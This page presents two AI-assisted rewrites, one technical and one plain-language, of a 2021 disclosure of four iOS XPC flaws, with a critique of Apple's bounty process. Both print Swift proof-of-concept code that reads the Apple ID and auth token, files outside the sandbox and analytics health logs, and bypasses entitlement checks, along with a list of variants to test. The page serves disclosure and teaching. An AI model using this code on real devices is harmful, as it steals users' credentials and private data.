Skip to content
Access control Write-up Advanced

Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program

Several iOS system services reachable over XPC failed to enforce their entitlement checks, so any app from the App Store could read the user's Apple ID and authentication token, contacts and interaction databases, the list of installed apps, Wi-Fi details and analytics logs. The author reports that three of the four issues were still present in iOS 15.0 at the time of writing.

Denis Tokarev Follow

Published on habr.com

illusionofchaos 24 September 2021 at 02:08

Denis Tokarev / illusionofchaos, on habr.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

This is a disclosure write-up about four 0-day vulnerabilities in iOS that the author reported to Apple through the Apple Security Bounty program between 10 March and 4 May 2021. At the time of publication (24 September 2021), three of them were still present in the latest iOS version (15.0), and one had been fixed in iOS 14.7 but was not listed on the security content page. The author frames the article as much as a critique of the bounty program as a technical disclosure: reports went unanswered for months, and a fix that shipped was not credited.

The author states that the disclosure follows responsible disclosure guidelines (Google Project Zero discloses 90 days after reporting, ZDI 120 days) and that the wait was much longer, up to half a year in one case. Ten days before publishing, the author asked for an explanation and warned that the research would be made public without a reply; the request was ignored.

The four issues are:

Name Reported Status at publication
Gamed 10 March 2021 Present in iOS 15.0
Nehelper Enumerate Installed Apps 4 May 2021 Present in iOS 15.0
Nehelper Wifi Info 2 May 2021 Present in iOS 15.0
Analyticsd 29 April 2021 Fixed in iOS 14.7, not listed

Each issue has a public GitHub repository with PoC source code that was sent to Apple. Each repository contains an app that gathers sensitive information and presents it in the UI.

From the original on habr.com

Setup

The research targets iOS itself, specifically XPC services reachable from a normal, user-installed App Store app. The PoCs are written in Swift and use the low-level XPC API (xpc_connection_create_mach_service, xpc_dictionary_*, xpc_connection_send_message_with_reply_sync) as well as NSXPCConnection for the Game Center case. No special entitlements, jailbreak or developer provisioning are described as prerequisites: the premise of every finding is that any app installed from the App Store can reach the service.

Finding it

The author does not describe the discovery process in detail. What the write-up shows is the result: several Mach services (com.apple.gamed, com.apple.nehelper, com.apple.analyticsd) accept connections from ordinary apps and either skip an entitlement check or perform it incorrectly. In each case a privileged XPC service either skips an entitlement check or performs it incorrectly, so a sandboxed app gets data it should not have.

Exploitation

Gamed: Apple ID, token and file system read

Any app installed from the App Store may access the following data without any prompt from the user:

  • Apple ID email and full name associated with it
  • Apple ID authentication token which allows access to at least one of the endpoints on *.apple.com on behalf of the user
  • Complete file system read access to the Core Duet database (a list of contacts from Mail, SMS, iMessage, third-party messaging apps and metadata about all the user's interaction with these contacts, including timestamps and statistics, plus some attachments such as URLs and texts)
  • Complete file system read access to the Speed Dial database and the Address Book database, including contact pictures and metadata such as creation and modification dates. The author notes that on iOS 15 this last one was inaccessible, so it must have been quietly fixed recently.

The proof of concept (which the author says will not compile as-is; the GitHub repo has a workaround):

Swift
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
    accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
        let appleID = response.credential.accountName
        let token = response.credential.authenticationToken
    }

    utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
        let addressBookData = data
    }
}

The code opens an NSXPCConnection to com.apple.gamed, obtains a GKDaemonProtocol proxy, and calls getServicesForPID:localPlayer:reply:. The reply block receives several service proxies; the PoC uses accountService and utilityService. On accountService it calls authenticatePlayerWithExistingCredentialsWithHandler: and reads response.credential.accountName (the Apple ID) and response.credential.authenticationToken. On utilityService it calls requestImageDataForURL:subdirectory:fileName:handler: with a file URL pointing at the Address Book database and receives the file contents.

How it happens, per the author:

  1. The XPC service com.apple.gamed does not properly check for the com.apple.developer.game-center entitlement.
  2. Even if Game Center is disabled on the device, invoking getServicesForPID:localPlayer:reply: returns several XPC proxy objects (GKAccountService, GKFriendService, GKUtilityService, etc.).
  3. If Game Center is enabled on the device (even if it is not enabled for the app in App Store Connect and the app does not contain the com.apple.developer.game-center entitlement), invoking authenticatePlayerWithExistingCredentialsWithHandler: on GKAccountService returns an object containing the user's Apple ID, DSID and Game Center authentication token, which allows sending requests to https://gc.apple.com on behalf of the user. Invoking getProfilesForPlayerIDs:handler: on GKProfileService returns an object containing the first and last name of the user's Apple ID. Invoking getFriendsForPlayer:handler: on GKFriendService returns an object with information about the user's friend in Game Center.
  4. Even if Game Center is disabled, not enabled for the app in App Store Connect, and the app lacks the entitlement, invoking requestImageDataForURL:subdirectory:fileName:handler: on GKUtilityService allows reading arbitrary files outside the app sandbox by passing file URLs. Among the files that can be accessed this way (but not limited to them):
    • /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist (mobile gestalt cache)
    • /var/mobile/Library/CoreDuet/People/interactionC.db (contacts and interaction metadata)
    • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist (favourite contacts and their phone numbers)
    • /var/mobile/Library/AddressBook/AddressBook.sqlitedb (complete Address Book database)
    • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb (photos of Address Book contacts)
  5. Invoking cacheImageData:inSubdirectory:withFileName:handler: on GKUtilityService might allow writing arbitrary data to a location outside the app sandbox.

On the Apple Security Bounty Program page, the author notes, this vulnerability is evaluated at $100,000 (broad app access to sensitive data normally protected by a TCC prompt or the platform sandbox, with "sensitive data" including broad access such as the full Contacts database).

Timeline:

  • 10 March 2021: reported to Apple
  • 10 March: Apple acknowledged the report
  • 20 May: requested a status update (no reply)
  • 30 May: requested a status update again
  • 1 July: Apple replied that they were still investigating
  • 20 July: requested a status update again
  • 25 August: Apple replied that they planned to address the issue in the upcoming update

Nehelper: enumerate installed apps

The vulnerability allows any user-installed app to determine whether any app is installed on the device, given its bundle ID.

The XPC endpoint com.apple.nehelper has a method accessible to any app that accepts a bundle ID as a parameter and returns an array containing some cache UUIDs if the app with the matching bundle ID is installed, or an empty array otherwise. This happens in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.

Swift
func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

The function creates a connection to com.apple.nehelper, builds a dictionary with delegate-class-id set to 1, cache-command set to 3 and cache-signing-identifier set to the bundle ID under test, then sends it synchronously. If the reply contains result-data with a cache-app-uuid key, the app is installed; otherwise it is not.

Timeline:

  • 4 May 2021: reported to Apple
  • 4 May: Apple acknowledged the report
  • 20 July: requested a status update again
  • 12 August: Apple replied that they were still investigating

Nehelper: Wi-Fi info without entitlement

The XPC endpoint com.apple.nehelper accepts a user-supplied parameter sdk-version, and if its value is less than or equal to 524288, the com.apple.developer.networking.wifi-info entitlement check is skipped. This makes it possible for any qualifying app (for example one possessing location access authorisation) to gain access to Wi-Fi information without the required entitlement. This happens in -[NEHelperWiFiInfoManager checkIfEntitled:] in /usr/libexec/nehelper.

Swift
func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}

The request sets delegate-class-id to 10, sdk-version to 1 (the comment notes it may be omitted entirely) and interface-name to en0. The reply's result-data contains the SSID and BSSID strings, which the function returns.

Timeline:

  • 2 May 2021: reported to Apple
  • 4 May: Apple acknowledged the report
  • 20 July: requested a status update again
  • 6 August: Apple replied that they were still investigating

Analyticsd: analytics logs (fixed in iOS 14.7)

This vulnerability allows any user-installed app to access analytics logs, such as the ones visible in Settings -> Privacy -> Analytics & Improvements -> Analytics Data -> Analytics-90Day... and Analytics-Daily.... These logs contain, among other things:

  • medical information (heart rate, count of detected atrial fibrillation and irregular heart rhythm events)
  • menstrual cycle length, biological sex and age, whether the user is logging sexual activity, cervical mucus quality, etc.
  • device usage information (device pickups in different contexts, push notification count and the user's action, etc.)
  • screen time information and session count for all applications with their respective bundle IDs
  • information about device accessories with manufacturer, model, firmware version and user-assigned names
  • application crashes with bundle IDs and exception codes
  • languages of web pages the user viewed in Safari

The author notes that all this information is collected by Apple for unknown purposes, that the collection of medical information is disturbing, and that the data was collected and available to an attacker even if "Share analytics" was turned off in settings.

Swift
func analytics_json() -> String? {
	let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
	let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump");
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
    return xpc_dictionary_get_string(reply, "log-dump");
}

The function connects to com.apple.analyticsd, sends a dictionary with command set to log-dump, and returns the log-dump string from the reply.

Timeline:

  • 29 April 2021: reported to Apple
  • 30 April: Apple acknowledged the report
  • 30 May: requested a status update again
  • 3 June: Apple replied that they planned to address the issue in the upcoming update
  • 19 July: iOS 14.7 released with the fix
  • 20 July: requested a status update
  • 21 July: iOS 14.7 security content list published; the vulnerability is not mentioned
  • 22 July: asked Apple why the vulnerability is not on the list. Same day, Apple replied: Due to a processing issue, your credit will be included on the security advisories in an upcoming update. We apologize for the inconvenience.
  • 26 July: iOS 14.7.1 security content list published; still no mention
  • 13 September: iOS 14.8 security content list published; still no mention. Same day, asked for an explanation and informed Apple that all the research would be made public unless a reply arrived soon
  • 20 September: iOS 15.0 security content list published; still no mention
  • 24 September: no reply received, so the article is published

Root cause

The causes described in the report are:

  • com.apple.gamed does not properly check the com.apple.developer.game-center entitlement, and its utility service exposes file read (and possibly write) methods that accept arbitrary file URLs, so the sandbox boundary is crossed through the service.
  • com.apple.nehelper exposes a cache lookup that answers whether a bundle ID is installed, without restricting the caller.
  • com.apple.nehelper's Wi-Fi info manager skips the com.apple.developer.networking.wifi-info entitlement check when the caller-supplied sdk-version is at most 524288, so the caller controls whether the check runs.
  • com.apple.analyticsd answers a log-dump command from any app, exposing the analytics log contents.

Impact

  • Gamed: an App Store app can read the user's Apple ID email and full name, obtain an Apple ID authentication token usable against at least one *.apple.com endpoint on the user's behalf, and read files outside its sandbox, including the Core Duet interaction database, the Speed Dial database and (on versions before the quiet fix) the Address Book database and contact images. The author also flags a possible arbitrary write via cacheImageData:inSubdirectory:withFileName:handler:. The bounty page values this class of issue at $100,000.
  • Nehelper enumerate apps: an app can determine whether any given bundle ID is installed.
  • Nehelper Wi-Fi info: an app that qualifies (for example by holding location authorisation) can read the SSID and BSSID without the Wi-Fi info entitlement.
  • Analyticsd: an app can read analytics logs containing medical, menstrual, usage, screen time, accessory, crash and Safari language data, even when "Share analytics" is off.

Fix

Only Analyticsd received a documented fix, in iOS 14.7. The author reports that the Address Book read through Gamed was inaccessible on iOS 15 and concludes it must have been quietly fixed recently. In the updates appended to the article:

  • 25 September: exactly 24 hours after publication, Apple replied that they had seen the blog post and the other reports, apologised for the delay, and said they were still investigating the issues and how to address them.
  • Update 3: a jailbreak developer claims to have released a fix for all three 0-days one day after disclosure; the author cannot confirm it.
  • Update 5: iOS 15.0.1 was released on 1 October; all three vulnerabilities were still unpatched.
  • Update 6: iOS 15.0.2 was released on 11 October; the Gamed vulnerability was quietly patched without acknowledgement or credit, and the other two were still unpatched.

Variants to test

  1. Caller-controlled version or SDK fields. Send a request with the version field set to a low value (as with sdk-version at most 524288) and see whether an entitlement-gated method returns data. A positive result is a reply containing the protected data (for example SSID and BSSID) from an app without the entitlement.
  2. Service enumeration without entitlement. Connect to a daemon that should require an entitlement and call its service-listing method (as with getServicesForPID:localPlayer:reply:). A positive result is a set of proxy objects returned to an app that lacks the entitlement.
  3. File read through utility methods. Pass absolute file URLs outside the app container to image or data loading methods (as with requestImageDataForURL:subdirectory:fileName:handler:). A positive result is file contents returned for a path the sandbox should deny.
  4. Bundle ID or identifier lookups. Send an identifier to a cache or lookup command and compare replies for installed and non-installed values. A positive result is a distinguishable reply (such as a UUID array versus an empty array) for an app that should not be able to query installation state.
  5. Log dump commands. Send a simple command string (as with command set to log-dump) to a logging daemon. A positive result is log content returned to an unentitled app.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

In 2021 a security researcher who goes by the name illusionofchaos found four serious security problems in Apple's iPhone and iPad operating system, iOS. He reported all four to Apple through Apple's bug bounty programme, a scheme where the company pays people for telling it about security flaws so they can be fixed before criminals find them. The reports went in between 10 March and 4 May 2021.

By the time he published this article on 24 September 2021, three of the four problems were still present in the newest version of iOS at the time, 15.0. The fourth had been fixed in iOS 14.7, but Apple had not listed it on the page where it publishes the security fixes in each release, and kept failing to list it in later releases too. The author says Apple apologised, blamed a processing issue and promised to credit it in the next update, then broke that promise across three releases.

Ten days before publishing, he asked Apple for an explanation and warned that he would make his research public if he did not get one. He got no reply, so he published. He points out that this fits the usual responsible disclosure rules: Google's Project Zero publishes 90 days after reporting a bug to the vendor, and ZDI after 120 days. He had waited much longer, up to half a year in one case.

He is not the first person to complain about the programme, and he links to a list of other researchers' reports and opinions on the same theme.

From the original on habr.com

For each of the four problems he published a GitHub repository containing a proof of concept: a small app that demonstrates the problem by collecting sensitive information and showing it on screen. A proof of concept (PoC) is a minimal demonstration that a flaw is real, rather than just a claim.

Name Reported Status at publication
Gamed 10 March 2021 Present in iOS 15.0
Nehelper Enumerate Installed Apps 4 May 2021 Present in iOS 15.0
Nehelper Wifi Info 2 May 2021 Present in iOS 15.0
Analyticsd 29 April 2021 Fixed in iOS 14.7, not listed

Before going further, a few ideas that come up constantly below.

An app on iOS runs inside a sandbox: a set of restrictions that stops it reading other apps' files or the system's private data. Think of it as each app living in its own locked flat, with no key to the neighbours' doors.

An entitlement is a permission slip baked into an app when it is signed, saying what it is allowed to do, for example use Game Center or read Wi-Fi details. The system is supposed to check the slip before handing over the protected data.

XPC is the way apps and system services talk to each other on Apple platforms. A background system service (a daemon) listens on a named channel, and an app sends it a message and gets a reply. Think of it as a service counter: you slide a form across, the clerk reads it and slides back an answer. The danger is when the clerk does not check who you are before answering.

A bundle ID is the unique name of an app, like com.example.myapp. A UUID is a long random-looking identifier. A token is a piece of text that proves who you are, a bit like a cloakroom ticket: whoever holds it can collect the coat. An API endpoint is a specific address on a server that accepts requests, for example a URL under *.apple.com.

Setup

The research targets iOS itself, specifically the XPC services that a normal app downloaded from the App Store can reach. The proof of concept code is written in Swift, Apple's programming language, and uses the low-level XPC functions (xpc_connection_create_mach_service, xpc_dictionary_*, xpc_connection_send_message_with_reply_sync) plus NSXPCConnection for the Game Center case. The author describes no special entitlements, jailbreak or developer provisioning as prerequisites: the whole point of every finding is that any app installed from the App Store can reach the service.

Finding it

The author does not describe in detail how he discovered the bugs. What the write-up shows is the result: several system services (com.apple.gamed, com.apple.nehelper, com.apple.analyticsd) accept connections from ordinary apps and either skip an entitlement check or perform it incorrectly. In each case a privileged service either skips an entitlement check or performs it incorrectly, so a sandboxed app gets data it should not have.

Exploitation

Gamed: Apple ID, token and file system read

Any app installed from the App Store could access the following data without any prompt from the user:

  • the Apple ID email and full name associated with it
  • an Apple ID authentication token which allows access to at least one of the endpoints on *.apple.com on behalf of the user
  • complete file system read access to the Core Duet database (a list of contacts from Mail, SMS, iMessage, third-party messaging apps and metadata about all the user's interaction with these contacts, including timestamps and statistics, plus some attachments such as URLs and texts)
  • complete file system read access to the Speed Dial database and the Address Book database, including contact pictures and metadata such as creation and modification dates. The author notes that on iOS 15 this last one was inaccessible, so it must have been quietly fixed recently.

The proof of concept, which the author says will not compile as-is (the GitHub repo has a workaround):

Swift
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
    accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
        let appleID = response.credential.accountName
        let token = response.credential.authenticationToken
    }

    utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
        let addressBookData = data
    }
}

Line by line:

  1. let connection = NSXPCConnection(machServiceName: "com.apple.gamed", ...) opens a connection to the system service called com.apple.gamed, the Game Center daemon. This is the app walking up to the service counter.
  2. let proxy = connection.remoteObjectProxyWithErrorHandler(...) as! GKDaemonProtocol turns that connection into an object the code can call methods on, as if the service were a local object. The as! cast says "treat it as this protocol", the list of methods the service offers.
  3. let pid = ProcessInfo.processInfo.processIdentifier gets the app's own process ID, the number the operating system uses to identify the running app.
  4. proxy.getServicesForPID(pid, localPlayer: nil, reply: { ... }) asks the daemon for the set of sub-services belonging to this process. The reply block receives many objects; the code names two of them, accountService and utilityService, and ignores the rest with underscores.
  5. Inside the reply, accountService.authenticatePlayerWithExistingCredentials(...) asks the account service to log the player in using credentials already on the device. The handler receives a response.
  6. response.credential.accountName is the Apple ID email, and response.credential.authenticationToken is the token. Both are simply read into local variables, which is the whole point: the app now holds the user's identity and a ticket to act as them.
  7. utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), ...) asks the utility service to load data from a file path. That path is the system's Address Book database, far outside the app's own sandbox. The handler receives the file contents in data.

Why this matters: the app never asks the user for permission, and the file path is outside its own flat. The service is doing the reading on the app's behalf.

How it happens, per the author:

  1. The XPC service com.apple.gamed does not properly check for the com.apple.developer.game-center entitlement.
  2. Even if Game Center is disabled on the device, invoking getServicesForPID:localPlayer:reply: returns several XPC proxy objects (GKAccountService, GKFriendService, GKUtilityService, etc.).
  3. If Game Center is enabled on the device (even if it is not enabled for the app in App Store Connect and the app does not contain the com.apple.developer.game-center entitlement), invoking authenticatePlayerWithExistingCredentialsWithHandler: on GKAccountService returns an object containing the user's Apple ID, DSID and Game Center authentication token, which allows sending requests to https://gc.apple.com on behalf of the user. Invoking getProfilesForPlayerIDs:handler: on GKProfileService returns an object containing the first and last name of the user's Apple ID. Invoking getFriendsForPlayer:handler: on GKFriendService returns an object with information about the user's friend in Game Center.
  4. Even if Game Center is disabled, not enabled for the app in App Store Connect, and the app lacks the entitlement, invoking requestImageDataForURL:subdirectory:fileName:handler: on GKUtilityService allows reading arbitrary files outside the app sandbox by passing file URLs. Among the files that can be accessed this way (but not limited to them):
    • /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist (mobile gestalt cache)
    • /var/mobile/Library/CoreDuet/People/interactionC.db (contacts and interaction metadata)
    • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist (favourite contacts and their phone numbers)
    • /var/mobile/Library/AddressBook/AddressBook.sqlitedb (complete Address Book database)
    • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb (photos of Address Book contacts)
  5. Invoking cacheImageData:inSubdirectory:withFileName:handler: on GKUtilityService might allow writing arbitrary data to a location outside the app sandbox.

On the Apple Security Bounty Program page, the author notes, this vulnerability is evaluated at $100,000 (broad app access to sensitive data normally protected by a TCC prompt or the platform sandbox, with "sensitive data" including broad access such as the full Contacts database).

Timeline:

  • 10 March 2021: reported to Apple
  • 10 March: Apple acknowledged the report
  • 20 May: requested a status update (no reply)
  • 30 May: requested a status update again
  • 1 July: Apple replied that they were still investigating
  • 20 July: requested a status update again
  • 25 August: Apple replied that they planned to address the issue in the upcoming update

Nehelper: enumerate installed apps

The vulnerability allows any user-installed app to determine whether any app is installed on the device, given its bundle ID.

The XPC endpoint com.apple.nehelper has a method accessible to any app that accepts a bundle ID as a parameter and returns an array containing some cache UUIDs if the app with the matching bundle ID is installed, or an empty array otherwise. This happens in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.

Swift
func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

Line by line:

  1. func isAppInstalled(bundleId: String) -> Bool defines a function that takes a bundle ID and answers yes or no.
  2. xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! opens a connection to the com.apple.nehelper service. The 2 is a flag value passed to the connection call.
  3. xpc_connection_set_event_handler(connection, { _ in }) installs an empty handler for incoming events, so unexpected messages are ignored.
  4. xpc_connection_resume(connection) starts the connection; until this call it is not active.
  5. xpc_dictionary_create(nil, nil, 0) creates an empty dictionary, the form that will be slid across the counter.
  6. xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) fills in the field delegate-class-id with the number 1, which selects the cache manager.
  7. xpc_dictionary_set_uint64(xdict, "cache-command", 3) sets cache-command to 3, the lookup command.
  8. xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) puts the bundle ID under test into the form.
  9. xpc_connection_send_message_with_reply_sync(connection, xdict) sends the form and waits for the answer, storing it in reply.
  10. The if checks whether the reply has result-data containing a cache-app-uuid. If so, the app is installed and the function returns true; otherwise it returns false.

Why this matters: an app should not be able to ask the system whether another app is installed.

Timeline:

  • 4 May 2021: reported to Apple
  • 4 May: Apple acknowledged the report
  • 20 July: requested a status update again
  • 12 August: Apple replied that they were still investigating

Nehelper: Wi-Fi info without entitlement

The XPC endpoint com.apple.nehelper accepts a user-supplied parameter sdk-version, and if its value is less than or equal to 524288, the com.apple.developer.networking.wifi-info entitlement check is skipped. This makes it possible for any qualifying app (for example one possessing location access authorisation) to gain access to Wi-Fi information without the required entitlement. This happens in -[NEHelperWiFiInfoManager checkIfEntitled:] in /usr/libexec/nehelper.

Swift
func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}

Line by line:

  1. func wifi_info() -> String? defines a function that returns some text, or nothing.
  2. xpc_connection_create_mach_service("com.apple.nehelper", nil, 2) opens a connection to the same com.apple.nehelper service as before.
  3. xpc_connection_set_event_handler(connection, { _ in }) and xpc_connection_resume(connection) set an empty event handler and start the connection.
  4. xpc_dictionary_create(nil, nil, 0) creates the empty request form.
  5. xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10) selects the Wi-Fi info manager with the value 10.
  6. xpc_dictionary_set_uint64(xdict, "sdk-version", 1) sets the version field to 1. The comment notes it may be omitted entirely. This is the trick: the service trusts this number to decide whether to check the entitlement, and a low number makes it skip the check.
  7. xpc_dictionary_set_string(xdict, "interface-name", "en0") names the network interface, en0 being the usual name for the Wi-Fi interface.
  8. xpc_connection_send_message_with_reply_sync(connection, xdict) sends the form and waits for the reply.
  9. If the reply has result-data, the code reads the SSID (the Wi-Fi network name) and BSSID (the access point's identifier) strings and returns them as text. Otherwise it returns nothing.

Why this matters: normally an app needs a specific permission slip to read Wi-Fi details. Here the app tells the service "I am an old version" and the service believes it, so the check never runs. The author notes the app still needs to qualify in some way, for example by holding location access authorisation.

Timeline:

  • 2 May 2021: reported to Apple
  • 4 May: Apple acknowledged the report
  • 20 July: requested a status update again
  • 6 August: Apple replied that they were still investigating

Analyticsd: analytics logs (fixed in iOS 14.7)

This vulnerability allows any user-installed app to access analytics logs, such as the ones visible in Settings -> Privacy -> Analytics & Improvements -> Analytics Data -> Analytics-90Day... and Analytics-Daily.... These logs contain, among other things:

  • medical information (heart rate, count of detected atrial fibrillation and irregular heart rhythm events)
  • menstrual cycle length, biological sex and age, whether the user is logging sexual activity, cervical mucus quality, etc.
  • device usage information (device pickups in different contexts, push notification count and the user's action, etc.)
  • screen time information and session count for all applications with their respective bundle IDs
  • information about device accessories with manufacturer, model, firmware version and user-assigned names
  • application crashes with bundle IDs and exception codes
  • languages of web pages the user viewed in Safari

The author notes that all this information is collected by Apple for unknown purposes, that the collection of medical information is disturbing, and that the data was collected and available to an attacker even if "Share analytics" was turned off in settings.

Swift
func analytics_json() -> String? {
	let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
	let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump");
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
    return xpc_dictionary_get_string(reply, "log-dump");
}

Line by line:

  1. func analytics_json() -> String? defines a function that returns text or nothing.
  2. xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) opens a connection to the analytics service, com.apple.analyticsd.
  3. xpc_connection_set_event_handler(connection, { _ in }) and xpc_connection_resume(connection) set an empty handler and start the connection.
  4. xpc_dictionary_set_string(xdict, "command", "log-dump") puts a single instruction in the form: dump the logs.
  5. xpc_connection_send_message_with_reply_sync(connection, xdict) sends it and waits for the answer.
  6. return xpc_dictionary_get_string(reply, "log-dump") returns the log text from the reply.

Why this matters: the service answers a simple "dump the logs" request from any app, with no check on who is asking. The logs themselves are far more revealing than most users would expect, and the author stresses that they were collected even when the user had turned off sharing analytics.

Timeline:

  • 29 April 2021: reported to Apple
  • 30 April: Apple acknowledged the report
  • 30 May: requested a status update again
  • 3 June: Apple replied that they planned to address the issue in the upcoming update
  • 19 July: iOS 14.7 released with the fix
  • 20 July: requested a status update
  • 21 July: iOS 14.7 security content list published; the vulnerability is not mentioned
  • 22 July: asked Apple why the vulnerability is not on the list. Same day, Apple replied: Due to a processing issue, your credit will be included on the security advisories in an upcoming update. We apologize for the inconvenience.
  • 26 July: iOS 14.7.1 security content list published; still no mention
  • 13 September: iOS 14.8 security content list published; still no mention. Same day, asked for an explanation and informed Apple that all the research would be made public unless a reply arrived soon
  • 20 September: iOS 15.0 security content list published; still no mention
  • 24 September: no reply received, so the article is published

Root cause

The causes described in the report are:

  • com.apple.gamed does not properly check the com.apple.developer.game-center entitlement, and its utility service exposes file read (and possibly write) methods that accept arbitrary file URLs, so the sandbox boundary is crossed through the service.
  • com.apple.nehelper exposes a cache lookup that answers whether a bundle ID is installed, without restricting the caller.
  • com.apple.nehelper's Wi-Fi info manager skips the com.apple.developer.networking.wifi-info entitlement check when the caller-supplied sdk-version is at most 524288, so the caller controls whether the check runs.
  • com.apple.analyticsd answers a log-dump command from any app, exposing the analytics log contents.

Impact

  • Gamed: an App Store app can read the user's Apple ID email and full name, obtain an Apple ID authentication token usable against at least one *.apple.com endpoint on the user's behalf, and read files outside its sandbox, including the Core Duet interaction database, the Speed Dial database and (on versions before the quiet fix) the Address Book database and contact images. The author also flags a possible arbitrary write via cacheImageData:inSubdirectory:withFileName:handler:. The bounty page values this class of issue at $100,000.
  • Nehelper enumerate apps: an app can determine whether any given bundle ID is installed.
  • Nehelper Wi-Fi info: an app that qualifies (for example by holding location authorisation) can read the SSID and BSSID without the Wi-Fi info entitlement.
  • Analyticsd: an app can read analytics logs containing medical, menstrual, usage, screen time, accessory, crash and Safari language data, even when "Share analytics" is off.

Fix

Only Analyticsd received a documented fix, in iOS 14.7. The author reports that the Address Book read through Gamed was inaccessible on iOS 15 and concludes it must have been quietly fixed recently. In the updates appended to the article:

  • 25 September: exactly 24 hours after publication, Apple replied that they had seen the blog post and the other reports, apologised for the delay, and said they were still investigating the issues and how to address them.
  • Update 3: a jailbreak developer claims to have released a fix for all three 0-days one day after disclosure; the author cannot confirm it.
